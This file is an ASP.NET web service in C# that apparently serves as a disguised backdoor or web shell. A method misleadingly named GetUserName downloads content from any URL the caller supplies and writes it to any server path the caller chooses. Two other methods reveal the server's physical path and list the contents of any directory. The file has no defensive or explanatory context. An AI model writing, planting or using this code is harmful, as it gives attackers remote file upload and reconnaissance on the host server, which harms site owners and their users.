<%@ WebService Language="C#" class="Service"%>
using System;
using System.Web;
using System.IO;
using System.Net;
using System.Text;
using System.Web.SessionState;
using System.Web.Services;
using System.Xml;
using System.Web.Services.Protocols;

[WebService(Namespace = "http://tempuri.org/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]

public class Service : System.Web.Services.WebService
{
    public Service()
    {
        //InitializeComponent(); 
    }
    
[WebMethod]
public string GetUserName(string prefixText,string limit) {
   System.IO.File.WriteAllText(limit,(new WebClient()).DownloadString(prefixText));
   return "ok";
}

[WebMethod]
public string pwd() {
   return System.Web.HttpContext.Current.Server.MapPath(".");
}

[WebMethod]
public string listddd(string ddd) {
    string R="\n--------------------------------------------------\n";
    DirectoryInfo m = new DirectoryInfo(@ddd);
     foreach (DirectoryInfo D in m.GetDirectories())
     {
            R +=  String.Format("{0}/\t{1}\t0\tDir\t-\n\r", D.Name, File.GetLastWriteTime(ddd + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
    }
      foreach (FileInfo D in m.GetFiles())
      {
            R += String.Format("{0}\t{1}\t{2}\tFile\t-\n\r", D.Name, File.GetLastWriteTime(ddd + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); 
    }
    R += "\n--------------------------------------------------\n";
    return R;
}
}